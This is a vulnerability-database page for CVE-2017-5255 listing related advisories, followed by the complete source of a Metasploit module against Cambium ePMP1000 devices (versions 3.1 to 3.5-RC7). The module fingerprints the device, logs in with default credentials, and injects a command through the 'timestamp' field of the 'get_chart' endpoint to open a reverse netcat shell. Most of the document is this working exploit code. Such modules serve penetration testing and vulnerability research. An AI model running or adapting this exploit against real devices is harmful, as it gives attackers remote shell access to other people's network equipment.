| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| Cambium ePMP1000 3.1-3.5-RC7 Command Injection Exploit | 29 Dec 201700:00 | – | zdt | |
| CVE-2017-5255 | 1 Jan 201800:00 | – | circl | |
| Cambium Networks ePMP Command Injection Vulnerability | 21 Dec 201700:00 | – | cnvd | |
| CVE-2017-5255 | 20 Dec 201722:00 | – | cve | |
| CVE-2017-5255 | 20 Dec 201722:00 | – | cvelist | |
| Cambium ePMP 1000 'get_chart' Command Injection (v3.1-3.5-RC7) | 22 Dec 201718:44 | – | metasploit | |
| Cambium ePMP1000 'get_chart' Shell via Command Injection (v3.1-3.5-RC7) | 22 Dec 201718:44 | – | metasploit | |
| Cambium ePMP1000 'ping' Shell via Command Injection (up to v2.5) | 22 Dec 201700:06 | – | metasploit | |
| CVE-2017-5255 | 20 Dec 201722:29 | – | nvd | |
| Cambium ePMP1000 3.1-3.5-RC7 Command Injection | 29 Dec 201700:00 | – | packetstorm |
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => "Cambium ePMP1000 'get_chart' Shell via Command Injection (v3.1-3.5-RC7)",
'Description' => %{
This module exploits an OS Command Injection vulnerability in Cambium
ePMP1000 device management portal. It requires any one of the following login
credentials - admin/admin, installer/installer, home/home - to set up a reverse
netcat shell. The module has been tested on versions 3.1-3.5-RC7.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
],
'References' =>
[
['CVE', '2017-5255'],
['URL', 'https://blog.rapid7.com/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities']
],
'Privileged' => true,
'Targets' =>
[
['CMD',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
]
],
'DisclosureDate' => 'Dec 18 2017',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' })
)
register_options(
[
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
], self.class
)
deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
end
#
# Fingerprinting
#
def is_app_epmp1000?
begin
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
}
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
return false
end
good_response = (
res &&
res.code == 200 &&
(res.body.include?('cambium.min.css') || res.body.include?('cambiumnetworks.com') && res.body.include?('https://support.cambiumnetworks.com/files/epmp/'))
)
if good_response
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
if !get_epmp_ver.nil?
epmp_ver = get_epmp_ver[1]
if !epmp_ver.nil?
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
return true, epmp_ver
else
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
epmp_ver = ''
return true, epmp_ver
end
end
else
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. The target is not vulnerable.")
epmp_ver = nil
return false
end
end
#
# check
#
def check
success, epmp_ver = is_app_epmp1000?
if (success != 'false' && !epmp_ver.nil? && epmp_ver >= '3.1')
return CheckCode::Vulnerable
else
return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using the module'
end
end
#
# Login
#
def login(user, pass)
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01'
},
'vars_post' =>
{
'username' => 'dashboard',
'password' => ''
}
}
)
cookies = res.get_cookies_parsed
check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
good_response = (
res &&
res.code == 200 &&
check_sysauth.include?('sysauth')
)
if good_response
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
prevsessid = res.body.match(/((?:[a-z][a-z]*[0-9]+[a-z0-9]*))/)
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'cookie' => sysauth_value,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Connection' => 'close'
},
'vars_post' =>
{
'username' => user,
'password' => pass,
'prevsess' => prevsessid
}
}
)
good_response = (
res &&
res.code == 200 &&
!res.body.include?('auth_failed')
)
if good_response
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
# check if max_user_number_reached?
if !res.body.include?('max_user_number_reached')
# get the cookie now
cookies = res.get_cookies_parsed
stok_value_dirty = res.body.match(/"stok": "(.*?)"/)
stok_value = "#{stok_value_dirty}".split('"')[3]
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
final_cookie = "#{sysauth_value}" + 'usernameType_80=admin; stok_80=' + "#{stok_value}"
# create config_uri
config_uri_get_chart = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/get_chart'
return final_cookie, config_uri_get_chart
else
print_error('The credentials are correct but maximum number of logged-in users reached. Try again later.')
final_cookie = 'skip'
config_uri_dump_config = 'skip'
config_uri_reset_pass = 'skip'
config_uri_get_chart = 'skip'
return final_cookie, config_uri_get_chart
end
else
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
final_cookie = 'skip'
config_uri_get_chart = 'skip'
return final_cookie, config_uri_get_chart
end
end
end
#
# open cmd_shell
#
def cmd_shell(config_uri, cookie)
command = payload.encoded
inject = '|' + "#{command}"
clean_inject = CGI.unescapeHTML(inject.to_s)
print_status('Sending payload...')
res = send_request_cgi(
{
'method' => 'POST',
'uri' => config_uri,
'cookie' => cookie,
'headers' => {
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With' => 'XMLHttpRequest',
'Connection' => 'close'
},
'vars_post' =>
{
'measure' => 's', # This parameter can also be used for injection
'timestamp' => clean_inject,
'debug' => 0
}
}, 25
)
handler
end
# exploit
def exploit
_success, epmp_ver = is_app_epmp1000?
if (epmp_ver < '3.1' || epmp_ver > '3.5' && epmp_ver != '3.5-RC7')
print_error('This module is applicable to versions 3.1-3.5-RC7 only. Exiting now.')
return
else
cookie, config_uri_get_chart = login(datastore['USERNAME'], datastore['PASSWORD'])
if cookie == 'skip' && config_uri_get_chart == 'skip'
return
else
cmd_shell(config_uri_get_chart, cookie)
end
end
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation